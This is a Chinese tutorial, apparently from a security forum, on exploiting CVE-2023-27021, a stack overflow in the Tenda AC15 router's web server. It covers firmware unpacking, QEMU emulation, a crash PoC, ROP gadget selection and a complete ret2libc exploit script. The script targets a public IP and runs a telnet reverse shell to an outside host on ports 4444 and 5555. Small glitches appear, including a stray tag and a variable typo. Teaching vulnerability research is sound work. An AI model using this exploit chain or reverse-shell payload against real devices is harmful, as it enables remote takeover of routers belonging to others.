路由器通用0day漏洞挖掘及RCE思路

一、概述

近期tenda系列路由器频繁出现漏洞,下面以CVE-2023-27021漏洞为例,简要描述下对于刚入门IOT安全的人来说怎样去挖掘一个路由器的栈溢出漏洞,并深入利用实现RCE

通常我们挖掘固件漏洞,首先要拿到固件,腾达官网提供用于更新的固件包,我们去官网下载固件即可。最可能容易发现漏洞的固件,可能是某些上一个更新版本比较早的固件,我们可以着重针对这些固件进行漏洞挖掘。此次我们在tenda AC15 V15.03.05.19上复现下怎么挖到这个漏洞,官网下载链接为:https://www.tenda.com.cn/download/detail-2680.html

二、环境搭建

固件下载后通常是.bin 后缀的二进制文件,首先需要做的是使用binwalk解包,提取出对应的文件系统

建议不要直接使用apt install binwalk安装,可能由于缺乏某些依赖包导致解包失败,可以参考https://blog.csdn.net/u013071014/article/details/122426769 进行完整的binwalk安装

使用如下命令进行解包

binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root

解出来的squashfs-root文件夹即路由器的文件系统,根据目录结构看是一个类linux的系统

tenda 路由器的web启动程序通常是bin目录下的httpd文件,我们的漏洞挖掘也是通过这个文件入手。

使用file命令查看文件的类型,是一个arm架构的32位小端的程序

网上很多固件模拟的方法,这里推荐使用qemu-arm-static启动httpd

apt安装qemu

apt install qemu
apt install qemu-user-static
sudo apt install qemu-system

建立虚拟网桥

sudo apt install uml-utilities bridge-utils
sudo brctl addbr br0
sudo brctl addif br0 ens32
sudo ifconfig br0 up
sudo dhclient br0

使用qemu模拟启动httpd

cp $(which qemu-arm-static) .
sudo chroot ./ ./qemu-arm-static ./bin/httpd

访问ip发现返回404

mkdir webroot
cp -rf ./webroot_ro/* ./webroot/

刷新页面即可

三、栈溢出漏洞挖掘

使用IDA逆向httpd文件,寻找可以造成栈溢出的函数。挖掘栈溢出漏洞,通常我们要从一些危险函数入手,第一类函数是scanf,可能产生格式化字符串溢出漏洞,第二类是strcpy、strcat、sprintf等字符串拷贝函数。根据tenda的历史CVE漏洞,strcpy函数产生的漏洞比较多,所以我们从strcpy入手举例。

搜索strcpy,查看其交叉引用

有160个函数,我们可以逐个进去F5看下代码。

我们找到了这个CVE对应的formSetFirewallCfg这个函数,这里我们看到websGetVar传入的firewallEn赋值给s,后续没有对s进行长度校验,直接strcpy拷贝到了v3开辟的栈空间中,是一个明显的栈溢出漏洞。

接下来就是要验证下formSetFirewallCfg这个函数是否用户可控,是否有利用的条件。

查看下formSetFirewallCfg 的引用

结合web交互的http流量包以及websGetVar函数名,可以猜到formSetFirewallCfg是web传参用的函数,openSchedWifi就是构造url访问的接口名,一级目录名为goform。

因此,我们构造请求,尝试下是否可以触发溢出

import requests

url = "http://47.98.137.248/goform/SetFirewallCfg"
header = {
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Cookie": "password=rtp5gk"
}

payload = "A" * 500
data = {"firewallEn": payload}
response = requests.post(url, headers=header, data=data, timeout=5)
response = requests.post(url, headers=header, data=data, timeout=5)
print(response.text)

发送请求后,设备已经拒绝服务,证明漏洞确实存在

四、漏洞利用

实现栈溢出之后,我们进一步尝试是否可以rce,使用checksec查看下二进制文件编译的保护情况

发现只开启了NX enabled,无法直接执行栈中的shellcode,所以利用的思路是通过构造rop链构造相应参数来执行system命令,来拿到shell。

(一) 配置gdb动态调试环境

首先是配置gdb动态调试环境,安装gdb-multiarch及pwndbg插件。gdb-multiarch是一种支持调试多种架构程序的gdb

安装可参考:https://www.cnblogs.com/gd/p/16180128.html

调试程序

chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd

另开一个终端,使用gdb-multiarch 执行

gdb-multiarch ./bin/httpd

进入gdb后,将架构转为arm架构

set architecture arm

远程连接9999端口,开始调试漏洞程序

target remote :9999

pwndbg中c运行程序

python发送poc,成功的覆盖PC寄存器的值,程序奔溃中断。

到此调试环境已经准备就绪

(二) 漏洞利用

1. 利用思路

由于程序开启了NX保护,无法直接执行栈中的shellcode,在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。常用的的 ROP 技术包括 ret2text,ret2shellcode,ret2syscall,ret2libc。

此处我们采用ret2libc执行,ret2libc是指将程序返回 libc,直接调用 libc 中的system函数执行命令。

具体思路如下:

  • 找 libc 的基地址

  • 计算libc中system函数的地址

  • 控制r0寄存器,在r0中写入system函数要执行的参数,即我们要执行的shellcode。

  • 控制某寄存器,将system的地址写入某寄存器,并将system地址弹出到PC寄存器,使程序流执行system函数。

2. 计算溢出所需偏移量

计算偏移量的方法有很多,可以利用反汇编之后的静态代码计算,也可以通过动态调试得出,这里利用cyclic计算

首先,利用cyclic 生成一个长度500的随机字符串,替换之前的payload,重新调试

利用cyclic计算偏移量,cyclic -l PC寄存器的值或者地址,得出偏移量是52

3. 寻找libc基址

在函数formSetFirewallCfg入口打个断点,continuing运行程序,发送上文中的poc,停到断点处

vmmap指令打印内存信息,看到没有libc,猜测<explored>这里就是libc,后续测试证明的确是。libc地址为0xff58c000</explored>

libc_base_addr=0xff58c000

4. 计算libc中system函数地址

from pwn import *

libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]

因此

system_addr = libc_base_addr + system_offset

5. 寻找gadget

使用ROPgadget,在libc中找一个可以控制r0的gadget

ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"

可以看到可以利用的gadget非常多,随便选一个即可,比如0x00040cb8,这个比较简短

move_r0= libc_base_addr+ 0x00040cb8

再在libc中找一个可以pop到r3的gadget

ROPgadget --binary ./lib/libc.so.0 --only "pop"|grep r3

还是选择这条比较短的,0x00018298

r3_pop= libc_base_addr + 0x00018298

6. 构造利用脚本getshell

最终的payload:

payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_ro) + cmd

完整的exp如下

from pwn import *
import requests

url = "http://47.98.137.248"
header = {
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "Cookie": "password=bcf33de30ebf57e4d3785c08adec4b85cvztgb"
}

# 命令执行利用telnet反弹shell
cmd = b"echo test;telnet 101.43.8.96 4444 | /bin/sh | telnet 101.43.8.96 5555"

libc_base_addr = 0xff58c000
libc = ELF("./lib/libc.so.0")
system_offset = libc.symbols["system"]

system_addr= libc_base_addr + system_offset
r3_pop =libc_base_addr + 0x00018298
move_r0= libc_base_addr+ 0x00040cb8

payload = cyclic(52) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd

data = {"firewallEn": payload}
response = requests.post(url + "/goform/SetFirewallCfg", headers=header, data=data)
print(response.text)

由于路由器一般不支持bin/bash命令,选择用telnet来getshell。VPN上分别监听 4444和5555端口,执行脚本

nc 4444端口监听已经建立连接,输入命令,5555监听端口处获得回显

点击收藏 | 4 关注 | 2 打赏
登录 后跟帖